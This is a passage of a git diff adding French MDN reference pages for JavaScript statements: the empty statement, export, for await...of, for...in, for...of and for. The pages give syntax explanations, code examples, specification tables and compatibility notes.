Un autre exemple avec une instruction {{jsxref("Instructions/if...else")}} sans accolade ({}). Si trois vaut true, rien ne sera exécuté, peu importera la valeur de quatre, la fonction chargerFusée() ne sera pas exécutée.

+ +
if (un)
+  faire1èreEtape();
+else if (deux)
+  faire4èmeEtape();
+else if (trois)
+  ; // rien ici
+else if (quatre)
+  faire4èmeEtape();
+else
+  chargerFusée();
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-empty-statement', 'Instruction vide')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-empty-statement', 'instruction vide')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-12.3', 'instruction vide')}}{{Spec2('ES5.1')}} 
{{SpecName('ES3', '#sec-12.3', 'instruction vide')}}{{Spec2('ES3')}} 
{{SpecName('ES1', '#sec-12.3', 'instruction vide')}}{{Spec2('ES1')}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.empty")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Instructions/block", "L'instruction de bloc","",1)}}
    • +
diff --git a/files/fr/web/javascript/reference/statements/export/index.html b/files/fr/web/javascript/reference/statements/export/index.html new file mode 100644 index 0000000000..bb310cb9be --- /dev/null +++ b/files/fr/web/javascript/reference/statements/export/index.html @@ -0,0 +1,182 @@ +--- +title: export +slug: Web/JavaScript/Reference/Instructions/export +tags: + - ECMAScript 2015 + - Instruction + - JavaScript + - Modules + - export +translation_of: Web/JavaScript/Reference/Statements/export +--- +
{{jsSidebar("Statements")}}
+ +

L'instruction export est utilisée lors de la création de modules JavaScript pour exporter des fonctions, des objets ou des valeurs primitives à partir du module, de sorte qu'ils puissent être utilisés par d'autres programmes grâce à l'instruction {{jsxref("Instructions/import", "import")}}.

+ +

Les modules exportés sont interprétés en mode strict dans tous les cas. L'instruction export ne peut pas être utilisée dans les scripts embarqués.

+ +

Syntaxe

+ +
// Exporter des propriétés individuelles
+export let nom1, nom2, …, nomN; // utilisable avec var, const
+export let nom1 = …, nom2 = …, …, nomN; // utilisable avec var, const
+export function nomFonction(){...}
+export class NomClasse {...}
+
+// Export d'une liste de valeur
+export { nom1, nom2, …, nomN };
+
+// Renommage des valeurs exportées
+export { variable1 as nom1, variable2 as nom2, …, nomN };
+
+// Renommage avec la décomposition pour l'affectation
+export const { nom1, nom2: truc } = o;
+
+// Exports par défauts
+export default expression;
+export default function (…) { … } // fonctionne avec class, function*
+export default function nom1(…) { … } // fonctionne avec class, function*
+export { nom1 as default, … };
+
+// Agrégation de modules
+export * from …;
+export { nom1, nom2, …, nomN } from …;
+export { import1 as nom1, import2 as nom2, …, nomN } from …;
+export { default } from …;
+ +
+
nomN
+
Identifiant à exporter (afin qu'il puisse être importé via {{jsxref("Statements/import", "import")}} dans un autre script).
+
+ +

Description

+ +

Il existe deux types d'export différents : les exports nommés et les exports par défaut. Il est possible d'avoir plusieurs exports nommés mais un seul export par défaut. Chaque type correspond à une des syntaxes ci-dessus :

+ +
    +
  • Les exports nommés : + 
    // exporte une fonction déclarée précédemment
+export { maFonction };
+
+// exporte une constante
+export const machin = Math.sqrt(2);
    +
    • +
  • Les exports par défaut (fonction) : + 
    export default function() {}
    +
    • +
  • Les exports par défaut (classe) : + 
    export default class {}
    +
    • +
+ +

Les exports nommés sont utiles pour exporter plusieurs valeurs. Lors de l'importation, il est obligatoire d'utiliser le même nom de l'objet correspondant.

+ +

Mais un export par défaut peut être importé avec n'importe quel nom, par exemple :

+ +
let k;
+export default k = 12; // dans le fichier test.js
+import m from './test'; // notez que nous avons la liberté d'utiliser import m au lieu de import k, parce que k était l'export par défaut
+console.log (m); // enregistrera 12
+ +

La syntaxe suivante n'exporte pas le défaut depuis le module importé :

+ +
export * from …;
+ +

Si vous avez besoin d'exporter le défaut, écrivez ce qui suit à la place :

+ +
export {default} from 'mod';
+ +

Il est possible de renommer un export afin d'éviter des conflits de nommage :

+ +
export { maFonction as fonction1
+         maVariable as variable1 };
+ +

On peut également agréger les valeurs exportées à celles d'autres modules qu'on aurait importés :

+ +
// Dans moduleParent.js
+export { maFonction, maVariable } from 'moduleFils1.js';
+export { maClasse } from 'moduleFils2.js'
+
+// Dans le module de plus haut niveau
+import { maFonction, maVariable, maClasse } from 'moduleParent.js';
+ +

Exemples

+ +

Utilisation d'exports nommés

+ +

Dans le module, on pourra utiliser le code suivant :

+ +
// module "mon-module.js"
+function cube(x) {
+  return x * x * x;
+}
+const machin = Math.PI + Math.SQRT2;
+export { cube, machin };
+
+ +

De cette façon, dans un autre script, on pourra avoir :

+ +
import { cube, machin } from 'mon-module';
+console.log(cube(3)); // 27
+console.log(machin);    // 4.555806215962888
+ +
+

Note : Si l'import est réalisé dans un script HTML, il faut que celui-ci soit chargé avec l'attribut {{htmlattrxref("type")}} "module" : <script type="module" src="./demo.js"></script> sinon il y aura une erreur quant aux origines multiples (CORS).
+ Il n'est pas possible de charger des modules JavaScript via une URL file:// pour des raisons de sécurité (voir CORS également). Il faudra utiliser un serveur HTTP.

+
+ +

Utilisation d'exports par défaut

+ +

Si on souhaite n'exporter qu'une seule valeur ou avoir une valeur de secours pour le module, on peut utiliser un export par défaut :

+ +
// module "mon-module.js"
+export default function cube(x) {
+  return x * x * x;
+}
+
+ +

Alors, dans un autre script, il sera facile d'importer l'export par défaut :

+ +
import cube from './mon-module.js';
+console.log(cube(3)); // 27
+
+ +

Notez qu'il n'est pas possible d'utiliser var, let ou const avec export default.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('ES2015', '#sec-exports', 'Exports')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ESDraft', '#sec-exports', 'Exports')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.export")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/statements/for-await...of/index.html b/files/fr/web/javascript/reference/statements/for-await...of/index.html new file mode 100644 index 0000000000..b30668c61c --- /dev/null +++ b/files/fr/web/javascript/reference/statements/for-await...of/index.html @@ -0,0 +1,142 @@ +--- +title: for await...of +slug: Web/JavaScript/Reference/Instructions/for-await...of +tags: + - Instruction + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Statements/for-await...of +--- +
{{jsSidebar("Statements")}}
+ +

L'instruction for await...of permet de créer une boucle qui parcourt les objets itérables asynchrones de la même façon qu'on parcourt les itérables synchrones (tels que les chaînes de caractères ({{jsxref("String")}}), les tableaux {{jsxref("Array")}}, les objets semblables aux tableaux comme {{jsxref("Fonctions/arguments", "arguments")}} ou {{domxref("NodeList")}}), {{jsxref("TypedArray")}}, {{jsxref("Map")}}, {{jsxref("Set")}}. Cette instruction invoque un mécanisme d'itération spécifique et les instructions à exécuter pour chaque propriété de l'objet.

+ + + +

Syntaxe

+ +
for await (variable of iterable) {
+  instruction
+}
+
+ +
+
variable
+
À chaque itération, la valeur d'une propriété différente est affectée à variable. Cette variable peut être déclarée avec const, let ou var.
+
iterable
+
Un objet pour lequel on parcourt les propriétés itérables.
+
+ +

Exemples

+ +

Parcourir des itérables asynchrones

+ +
var asyncIterable = {
+  [Symbol.asyncIterator]() {
+    return {
+      i: 0,
+      next() {
+        if (this.i < 3) {
+          return Promise.resolve({ value: this.i++, done: false });
+        }
+
+        return Promise.resolve({ done: true });
+      }
+    };
+  }
+};
+
+(async function() {
+   for await (let num of asyncIterable) {
+     console.log(num);
+  }
+})();
+// 0
+// 1
+// 2
+
+ +

Parcourir des générateurs asynchrones

+ +

Les générateurs asynchrones implémentent le protocole d'itérateur asynchrone et on peut donc les parcourir avec for await...of:

+ +
async function* asyncGenerator() {
+  var i = 0;
+  while (i < 3) {
+    yield i++;
+  }
+}
+
+(async function() {
+  for await (let num of asyncGenerator()) {
+    console.log(num);
+  }
+})();
+// 0
+// 1
+// 2
+ +

Pour prendre un exemple plus concret, on peut parcourir les données fournies par une API avec un générateur asynchrone grâce à for await... of. Dans cet exemple, on commence par créer un itérateur asynchrone à partir d'un flux de données puis on utilise cet itérateur et for await...of afin de calculer la taille de la réponse fournie par l'API :

+ +
async function* streamAsyncIterator(stream) {
+  const reader = stream.getReader();
+  try {
+    while (true) {
+      const { done, value } = await reader.read();
+      if (done) {
+        return;
+      }
+      yield value;
+    }
+  } finally {
+    reader.releaseLock();
+  }
+}
+// On récupère les données d'une URL et
+// on calcule la taille de la réponse
+// avec un générateur asynchrone
+async function getResponseSize(url) {
+  const response = await fetch(url);
+  // La taille de la réponse, exprimée en octets.
+  let responseSize = 0;
+  // La boucle for-await-of qui parcourt, de façon asynchrone,
+  // chaque portion de la réponse.
+  for await (const chunk of streamAsyncIterator(response.body)) {
+    responseSize += chunk.length;
+  }
+
+  console.log(`Taille de la réponse : ${responseSize} octets`);
+  return responseSize;
+}
+getResponseSize('https://jsonplaceholder.typicode.com/photos');
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'ECMAScript Language: The for-in, for-of, and for-await-of Statements')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.for_await_of")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Instructions/for...of")}}
    • +
diff --git a/files/fr/web/javascript/reference/statements/for...in/index.html b/files/fr/web/javascript/reference/statements/for...in/index.html new file mode 100644 index 0000000000..a9bf4ad8b0 --- /dev/null +++ b/files/fr/web/javascript/reference/statements/for...in/index.html @@ -0,0 +1,159 @@ +--- +title: for...in +slug: Web/JavaScript/Reference/Instructions/for...in +tags: + - Instruction + - JavaScript + - Reference + - Statement +translation_of: Web/JavaScript/Reference/Statements/for...in +--- +
{{jsSidebar("Statements")}}
+ +

L'instruction for...in permet d'itérer sur les propriétés énumérables d'un objet qui ne sont pas des symboles. Pour chaque propriété obtenue, on exécute une instruction (ou plusieurs grâce à un {{jsxref("Instructions/bloc","bloc","",1)}} d'instructions).

+ +
{{EmbedInteractiveExample("pages/js/statement-forin.html")}}
+ + + +

Syntaxe

+ +
for (variable in objet) {
+  instructions
+}
+ +
+
variable
+
Un nom de propriété différent est assigné à la variable à chaque itération de la boucle.
+
objet
+
L'objet dont les propriétés énumérables et qui ne sont pas des symboles sont parcourues par la boucle.
+
+ +

Description

+ +

Une boucle for...in ne parcourt que les propriétés énumérables et qui ne sont pas des symboles. Les objets qui ont été créés par des constructeurs intégrés comme Array et Object ont hérité de propriétés non énumérables de Object.prototype et String.prototype comme les méthodes {{jsxref("String.prototype.indexOf","indexOf()")}} du type {{jsxref("String")}} ou {{jsxref("Object.prototype.toString","toString()")}} depuis {{jsxref("Object")}}. La boucle parcourera toutes les propriétés énumérables de l'objet et aussi celles dont il hérite du prototype du constructeur (les propriétés les plus proches de l'objet dans la chaîne des prototypes primeront sur les propriétés des prototypes).

+ +

Les propriétés ajoutées, modifiées ou supprimées

+ +

Une boucle for...in parcourt les propriétés d'un objet dans un ordre arbitraire (voir l'opérateur {{jsxref("Opérateurs/L_opérateur_delete","delete")}} pour plus d'explications quant à l'impossibilité de se fier à un tel ordre, au moins dans le cas où on souhaite gérer plusieurs navigateurs).

+ +

Si une propriété est modifiée dans une des itérations de la boucle et que la boucle itère ensuite sur cette propriété, sa valeur sera celle qui a été modifiée. Une propriété qui a été supprimée avant que la boucle n'itère sur celle-là ne sera pas dans la boucle. Les propriétés qui ont été ajoutées à l'objet pendant la boucle peuvent être ou ne pas être pris en compte.

+ +

Une bonne pratique consiste à ne pas ajouter, modifier ou supprimer une propriété d'un objet lors d'une itération qui ne concerne pas cette propriété. Il n'y a aucune certitude concernant la prise en compte d'une propriété ajoutée lors d'une telle boucle et il en va de même pour savoir si on a visité une propriété avant ou après qu'elle ait été modifiée ou de savoir si une itération de la boucle concernera une propriété avant que celle-ci soit supprimée.

+ +

Utiliser for...in et parcourir un tableau

+ +
+

Note : for...in ne doit pas être utilisée pour parcourir un {{jsxref("Array")}} lorsque l'ordre des éléments est important.

+
+ +

Les éléments des indices d'un tableau sont des propriétés énumérables dont les noms sont des entiers, excepté cela, elles sont en tout point identiques aux propriétés des objets en général. Ici aussi, il n'y a aucune certitude que for...in renvoie les indices dans un ordre particulier. Cette instruction listera également les propriétés énumérables dont les noms ne sont pas des entiers et celles qui sont héritées.

+ +

L'ordre dans lequel le parcours est effectué dépend de l'implémentation. Dans le cas d'un parcours de tableau utilisant for...in, on pourrait très bien avoir un ordre qui ne soit pas le même entre les différents environnements. Pour cette raison, il est préférable d'utiliser une boucle {{jsxref("Instructions/for","for")}} utilisant un compteur numérique (ou {{jsxref("Array.prototype.forEach","Array.forEach()")}} ou encore {{jsxref("Instructions/for...of","for...of")}}) lorsqu'on souhaite parcourir des tableaux dans un ordre bien défini.

+ +

Itérer uniquement sur les propriétés non héritées

+ +

Si on souhaite ne parcourir que les propriétés propres d'un objet et pas celles rattachées à ses prototypes, on peut utiliser la méthode {{jsxref("Object.getOwnPropertyNames()")}} ou bien effectuer un test grâce à la méthode {{jsxref("Object.prototype.hasOwnProperty()")}} voire avec {{jsxref("Object.prototype.propertyIsEnumerable()")}}

+ +

Exemples

+ +

La boucle for...in qui suit utilise parcourt l'objet obj et ses propriétés énumérables qui ne sont pas des symboles en fournissant la chaîne de caractères qui décrit le nom de la propriété et sa valeur.

+ +
var obj = {a:1, b:2, c:3};
+
+for (var prop in obj) {
+  console.log(`obj.${prop} = ${obj[prop]}`);
+}
+
+// Affiche dans la console :
+// "obj.a = 1"
+// "obj.b = 2"
+// "obj.c = 3"
+ +

La fonction qui suit utilise {{jsxref("Object.hasOwnProperty", "hasOwnProperty()")}} pour ne pas afficher les propriétés héritées :

+ +
var triangle = {a:1, b:2, c:3};
+
+function TriangleCouleur() {
+  this.couleur = "rouge";
+}
+
+TriangleCouleur.prototype = triangle;
+
+var obj = new TriangleCouleur();
+
+for (var prop in obj) {
+  if( obj.hasOwnProperty( prop ) ) {
+    console.log(`obj.${prop} = ${obj[prop]}`);
+  }
+}
+
+// Affichera dans la console :
+// "obj.couleur = rouge"
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES1', '#sec-12.6.3', 'for...in statement')}}{{Spec2('ES1')}}Définition initiale.
{{SpecName('ES5.1', '#sec-12.6.4', 'for...in statement')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-for-in-and-for-of-statements', 'for...in statement')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'for...in statement')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.for_in")}}

+ +

Expressions avec initialisateur

+ +

Avant SpiderMonkey 40 {{geckoRelease(40)}}, il était possible d'utiliser un initialisateur (i=0) dans un boucle for...in :

+ +
var obj = {a:1, b:2, c:3};
+for(var i=0 in obj) {
+  console.log(obj[i]);
+}
+// 1
+// 2
+// 3
+
+ +

Ce comportement non-standard a été retiré avec la version 40. Cela provoquera désormais une exception {{jsxref("SyntaxError")}} ("for-in loop head declarations may not have initializers") en mode strict (cf. {{bug(748550)}} et {{bug(1164741)}}).

+ +

Les autres moteurs, tels que v8 (Chrome), Chakra (IE/Edge) et JSC (WebKit/Safari) recherchent également comment retirer ce comportement non standard.

+ +

Voir aussi

+ +
    +
  • {{jsxref("Instructions/for...of","for...of")}} : une instruction semblable qui permet d'itérer sur les valeurs des propriétés
    • +
  • {{jsxref("Instructions/for","for")}}
    • +
  • Le rattachement et le caractère énumérable des propriétés
    • +
  • {{jsxref("Object.getOwnPropertyNames()")}}
    • +
  • {{jsxref("Object.prototype.hasOwnProperty()")}}
    • +
  • {{jsxref("Array.prototype.forEach()")}}
    • +
  • {{jsxref("Instructions/for_each...in", "for each...in")}} {{deprecated_inline}} : une instruction semblable, dépréciée, qui parcourt les valeurs des propriétés d'un objet plutôt que les noms.
    • +
diff --git a/files/fr/web/javascript/reference/statements/for...of/index.html b/files/fr/web/javascript/reference/statements/for...of/index.html new file mode 100644 index 0000000000..0fc7deb1f6 --- /dev/null +++ b/files/fr/web/javascript/reference/statements/for...of/index.html @@ -0,0 +1,316 @@ +--- +title: for...of +slug: Web/JavaScript/Reference/Instructions/for...of +tags: + - ECMAScript 2015 + - Instruction + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Statements/for...of +--- +
{{jsSidebar("Statements")}}
+ +

L'instruction for...of permet de créer une boucle {{jsxref("Array")}} qui parcourt un {{jsxref("Les_protocoles_iteration","objet itérable","#Le_protocole_.C2.AB_it.C3.A9rable_.C2.BB",1)}} (ce qui inclut les objets {{jsxref("Array")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("String")}}, {{jsxref("TypedArray")}}, l'objet {{jsxref("Fonctions/arguments","arguments")}}, etc.) et qui permet d'exécuter une ou plusieurs instructions pour la valeur de chaque propriété.

+ +
{{EmbedInteractiveExample("pages/js/statement-forof.html")}}
+ + + +

Syntaxe

+ +
for (variable of iterable)
+  instruction
+
+ +
+
variable
+
À chaque itération, la valeur d'une propriété différente est affectée à variable (cette variable peut être déclarée avec const, let ou var).
+
iterable
+
L'objet dont on parcourt les propriétés énumérables.
+
instruction
+
Une instruction à exécuter pour chaque propriété, cette instruction peut être composée de plusieurs instructions en utilisant un {{jsxref("Instructions/bloc","bloc","",1)}} d'instructions.
+
+ +

Exemples

+ +

Utiliser for...of sur un tableau

+ +
let tableauItérable = [1, 2, 3];
+
+for (let valeur of tableauItérable) {
+  console.log(valeur);
+}
+// 1
+// 2
+// 3
+ +

Si la variable n'est pas réaffectée dans la boucle, on pourra également utiliser const à la place de let :

+ +
let tableauItérable = [1, 2, 3];
+
+for (const valeur of tableauItérable) {
+  console.log(valeur);
+}
+// 1
+// 2
+// 3
+ +

Parcourir une chaîne de caractères avec for...of

+ +
let iterable = 'pixel';
+
+for (let valeur of iterable) {
+  console.log(valeur);
+}
+// p
+// i
+// x
+// e
+// l
+ +

Parcourir un tableau typé ({{jsxref("TypedArray")}})

+ +
let iterable = new Uint8Array([0x00, 0xff]);
+
+for (let valeur of iterable) {
+  console.log(valeur);
+}
+// 0
+// 255
+ +

Parcourir une {{jsxref("Map")}}

+ +
let iterable = new Map([['a', 1], ['b', 2], ['c', 3]]);
+
+for (let element of iterable) {
+  console.log(element);
+}
+// ['a', 1]
+// ['b', 2]
+// ['c', 3]
+
+for (let [clef, valeur] of iterable) {
+  console.log(valeur);
+}
+// 1
+// 2
+// 3
+ +

Utiliser Array.prototype.forEach()

+ +

Pour obtenir les mêmes valeurs qu'avec une boucle for...of, on peut utiliser la méthode {{jsxref("Array.prototype.forEach()")}} :

+ +
let arr = [3, 5, 7];
+arr.toto = "coucou";
+
+arr.forEach(function (element, index) {
+  console.log(element); // affiche "3", "5", "7"
+  console.log(index);  // affiche "0", "1", "2"
+});
+
+// ou avec Object.keys()
+
+Object.keys(arr).forEach(function (element, index) {
+  console.log(arr[element]); // affiche "3", "5", "7", "coucou"
+  console.log(arr[index]);  // affiche "3", "5", "7", undefined
+});
+ +

Parcourir l'objet arguments

+ +

Il est possible de parcourir l'objet {{jsxref("Fonctions/arguments", "arguments")}} afin d'examiner l'ensemble des paramètres passés à la fonction :

+ +
(function() {
+  for (let argument of arguments){
+    console.log(argument);
+  }
+})(1, 2, 3);
+
+// 1
+// 2
+// 3
+
+ +

Parcourir des collections DOM

+ +

Il est possible de parcourir des collections DOM telles que {{domxref("NodeList")}}. Dans cet exemple, on ajoute une classe read aux paragraphes qui sont des descendants directs d'un article :

+ +
// Note : Cela ne fonctionnera que pour les plates-formes
+// qui implémentent NodeList.prototype[Symbol.iterator]
+let articleParagraphs = document.querySelectorAll("article > p");
+
+for (let paragraph of articleParagraphs) {
+  paragraph.classList.add("read");
+}
+
+ +

Clôturer les itérateurs

+ +

Dans les boucles for...of, on peut provoquer la fin de l'itérateur avec break, continue, throw, ou return. Dans ces cas, l'itérateur est fermé.

+ +
function* toto() {
+  yield 1;
+  yield 2;
+  yield 3;
+};
+
+for (let o of toto()) {
+  console.log(o);
+  break; // L'itérateur est fermé
+}
+
+ +

Itérer sur les générateurs

+ +

Grâce à cette instruction, on peut également itérer sur les {{jsxref("Instructions/function*","générateurs","",1)}} :

+ +
function* fibonacci() { // une fonction génératrice
+  let [prev, curr] = [0, 1];
+  while (true) {
+    [prev, curr] = [curr, prev + curr];
+    yield curr;
+  }
+}
+
+for (let n of fibonacci()) {
+  console.log(n);
+  // on arrête la séquence à 1000
+  if (n >= 1000){
+    break;
+  }
+}
+
+ +

Itérer sur les autres objets itérables

+ +

Il est aussi possible d'itérer sur un objet qui implémente le protocole itérable de façon explicite :

+ +
var iterable = {
+  [Symbol.iterator]() {
+    return {
+      i: 0,
+      next() {
+        if (this.i < 3) {
+          return { value: this.i++, done: false };
+        }
+        return { value: undefined, done: true };
+      }
+    };
+  }
+};
+
+for (let value of iterable) {
+  console.log(value);
+}
+console.log("fini !");
+// 0
+// 1
+// 2
+ +

Les différences entre for...of et for...in

+ +

Les deux instructions for...in et for...of permettent de parcourir un ensemble. Mais elles ne parcourent pas le même ensemble.

+ +

L'instruction {{jsxref("Instructions/for...in", "for...in")}} permet de parcourir les propriétés énumérables d'un objet dans un ordre arbitraire.

+ +

L'instruction for...of permet quant à elle de parcourir les données contenues dans l'objet itérable visé.

+ +

Dans l'exemple qui suit, on illustre la différence de comportement entre une boucle for...of et une boucle for...in utilisées sur un tableau ({{jsxref("Array")}}).

+ +
Object.prototype.objCustom = function() {};
+Array.prototype.arrCustom = function() {};
+
+let iterable = [3, 5, 7];
+iterable.toto = 'coucou';
+
+for (let i in iterable) {
+  console.log(i); // affiche 0, 1, 2, "toto",
+                  // "arrCustom", "objCustom"
+}
+
+for (let i in iterable) {
+  if (iterable.hasOwnProperty(i)) {
+    console.log(i); // affiche 0, 1, 2, "toto"
+  }
+}
+
+for (let i of iterable) {
+  console.log(i); // affiche 3, 5, 7
+}
+
+ +

Chaque objet héritera de la propriété objCustom et chaque objet qui est un tableau ({{jsxref("Array")}}) héritera de la propriété arrCustom car on les ajoute aux prototypes {{jsxref("Object.prototype")}} et {{jsxref("Array.prototype")}}. L'objet iterable hérite donc des propriétés objCustom et arrCustom grâce à l'héritage et à la chaîne de prototypes.

+ +
for (let i in iterable) {
+  console.log(i); // affiche 0, 1, 2, "toto",
+                  // "arrCustom" et "objCustom"
+}
+ +

Cette boucle ne parcourt que les propriétés énumérables de l'objet iterable dans un ordre arbitraire. Les éléments du tableau 3, 5, 7 ou hello ne sont pas affichés car ce ne sont pas des propriétés (et encore moins des propriétés énumérables). En revanche, on retrouve bien les indices du tableau et les propriétés arrCustom et objCustom. Pour décrire plus précisément ce comportement, vous pouvez consulter {{jsxref("Instructions/for...in", "for...in", "#/fr/docs/Web/JavaScript/Reference/Instructions/for...in#Utiliser_for...in_et_parcourir_un_tableau")}}.

+ +
for (let i in iterable) {
+  if (iterable.hasOwnProperty(i)) {
+    console.log(i); // affiche 0, 1, 2, "toto"
+  }
+}
+ +

Cette boucle ressemble à la première mais ajoute la méthode {{jsxref("Object.prototype.hasOwnProperty()", "hasOwnProperty()")}} qui permet de vérifier si la propriété énumérable recensée est directement disponible sur l'objet (c'est-à-dire si elle n'est pas héritée). La console affiche donc les propriétés 0, 1, 2 et toto car ce sont des propriétés directement rattachées à l'objet iterable. En revanche, les propriétés arrCustom et objCustom ne sont pas affichées car elles proviennent de l'héritage.

+ +
for (let i of iterable) {
+  console.log(i); // affiche 3, 5, 7
+}
+ +

Cette boucle parcourt les valeurs définies comme itérables par l'objet itérable et dans ce cas ce sont les éléments du tableau 3, 5, 7 et pas les propriétés de l'objet.

+ +

Attention à ne pas réutiliser les générateurs

+ +

Les générateurs ne doivent pas être réutilisés, même lorsque la boucle for...of a été interrompue (par exemple lorsque {{jsxref("Instructions/break","break")}} est utilisé). Lorsqu'on quitte une boucle, le générateur est clôturé et si on l'utilise à nouveau, il ne fournira aucun résultat. Firefox n'a pas encore implémenté ce comportement standard (cf. {{bug("1147371")}}).

+ +
var gen = (function *(){
+  yield 1;
+  yield 2;
+  yield 3;
+})();
+for (let o of gen) {
+  console.log(o);
+  break; // L'itérateur est fermé
+}
+
+// Le générateur ne doit pas être réutilisé !
+for (let o of gen){
+  console.log(o); // Ceci n'est jamais exécuté
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-for-in-and-for-of-statements', 'instruction for...of')}}{{Spec2('ES2015')}}Définition initiale.
{{SpecName('ESDraft', '#sec-for-in-and-for-of-statements', 'instruction for...of')}}{{Spec2('ESDraft')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.for_of")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Array.prototype.forEach()")}}
    • +
  • {{jsxref("Map.prototype.forEach()")}}
    • +
diff --git a/files/fr/web/javascript/reference/statements/for/index.html b/files/fr/web/javascript/reference/statements/for/index.html new file mode 100644 index 0000000000..ac60a49710 --- /dev/null +++ b/files/fr/web/javascript/reference/statements/for/index.html @@ -0,0 +1,148 @@ +--- +title: for +slug: Web/JavaScript/Reference/Instructions/for +tags: + - Instruction + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Statements/for +--- +
{{jsSidebar("Statements")}}
+ +

L'instruction for crée une boucle composée de trois expressions optionnelles séparées par des points-virgules et encadrées entre des parenthèses qui sont suivies par une instruction (généralement une instruction de bloc) à exécuter dans la boucle.

+ +
{{EmbedInteractiveExample("pages/js/statement-for.html")}}
+ + + +

Syntaxe

+ +
for ([initialisation]; [condition]; [expression_finale])
+   instruction
+
+ +

Paramètres

+ +
+
initialisation
+
Une expression (pouvant être une expression d'affectation) ou une déclaration de variable. Cette expression est évaluée une fois avant que la boucle démarre. On utilise généralement une variable qui agit comme un compteur. Cette expression peut éventuellement déclarer de nouvelles variables avec le mot-clé var ou let. Les variables déclarées avec var se situent dans la même portée que la boucle for (elles ne sont pas locales au sein de la boucle), les variables déclarées avec let sont locales à la boucle. Le résultat de l'expression n'est pas utilisé.
+
condition
+
Une expression qui est évaluée avant chaque itération de la boucle. Si cette expression est vérifiée, l'instruction est exécutée. Ce test est optionnel. S'il n'est pas présent, la condition sera toujours vérifiée. Si l'expression n'est pas vérifiée (i.e. vaut false), l'exécution se poursuivra à la première expression qui suit la boucle for.
+
expression_finale
+
Une expression qui est évaluée à la fin de chaque itération. Cela se produit avant l'évaluation de l'expression condition. Cette expression est généralement utilisée pour mettre à jour ou incrémenter le compteur qu'est la variable d'initialisation.
+
instruction
+
Une instruction qui est exécutée tant que la condition de la boucle est vérifiée. Afin d'exécuter plusieurs instructions au sein d'une telle boucle, il faudra utiliser une instruction de bloc ({ ... }) qui regroupera ces différentes instructions.
+
+ +

Exemples

+ +

Utiliser for

+ +

L'instruction for qui suit débute en déclarant la variable i et en l'initialisant à 0. Elle vérifie que i est inférieur (strictement) à 9 et exécute ensuite les deux instructions contenues dans la boucle, ensuite elle incrémente i de 1, ce qui sera fait à chaque passage dans la boucle.

+ +
for (var i = 0; i < 9; i++) {
+   n += i;
+   myfunc(n);
+}
+
+ +

Expressions optionnelles pour for

+ +

Les trois expressions qui composent l'instruction for sont optionnelles :

+ +

Par exemple, le bloc pour l'initialisation peut ne pas être utilisé :

+ +
var i = 0;
+for (; i < 9; i++) {
+    console.log(i);
+    // d'autres instructions
+}
+
+ +

De même que pour le bloc d'initialisation, l'expression de condition est optionnelle. Attention, si l'expression de condition n'est pas utilisée, il faut s'assurer d'interrompre la boucle et de ne pas créer une boucle infinie.

+ +
for (var i = 0;; i++) {
+   console.log(i);
+   if (i > 3) break;
+   // d'autres instructions
+}
+ +

Les trois blocs d'expressions peuvent être omis. Encore une fois, il faudra utiliser une instruction {{jsxref("Instructions/break")}} pour terminer la boucle. Si le test se fait sur un seuil, on veillera à incrémenter la variable pour que la condition d'arrêt modifiée soit respectée.

+ +
var i = 0;
+
+for (;;) {
+  if (i > 3) break;
+  console.log(i);
+  i++;
+}
+
+ +

Utiliser for avec une instruction vide

+ +

L'instruction for qui suit calcule le décalage d'un nœud et le fait dans la section qui correspond à l'expression finale. Il n'y a donc aucun intérêt à ajouter une instruction ou un bloc d'instruction dans la boucle pour faire ce calcul.

+ +
function showOffsetPos (sId) {
+  var nLeft = 0, nTop = 0;
+
+  for (var oItNode = document.getElementById(sId); oItNode; nLeft += oItNode.offsetLeft, nTop += oItNode.offsetTop, oItNode = oItNode.offsetParent);
+
+  console.log("Décalage de position : \"" + sId + "\" element:\n left: " + nLeft + "px;\n top: " + nTop + "px;");
+}
+ +
Note : Dans cas, où on n'utilise pas la section d'instruction, il faut mettre un point-virgule immédiatement après la déclaration de la boucle.
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-for-statement', 'for statement')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-for-statement', 'instruction for')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-12.6.3', 'instruction for')}}{{Spec2('ES5.1')}} 
{{SpecName('ES3', '#sec-12.6.3', 'instruction for')}}{{Spec2('ES3')}} 
{{SpecName('ES1', '#sec-12.6.2', 'instruction for')}}{{Spec2('ES1')}}Définition initiale
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.for")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Instructions/break", "break")}}
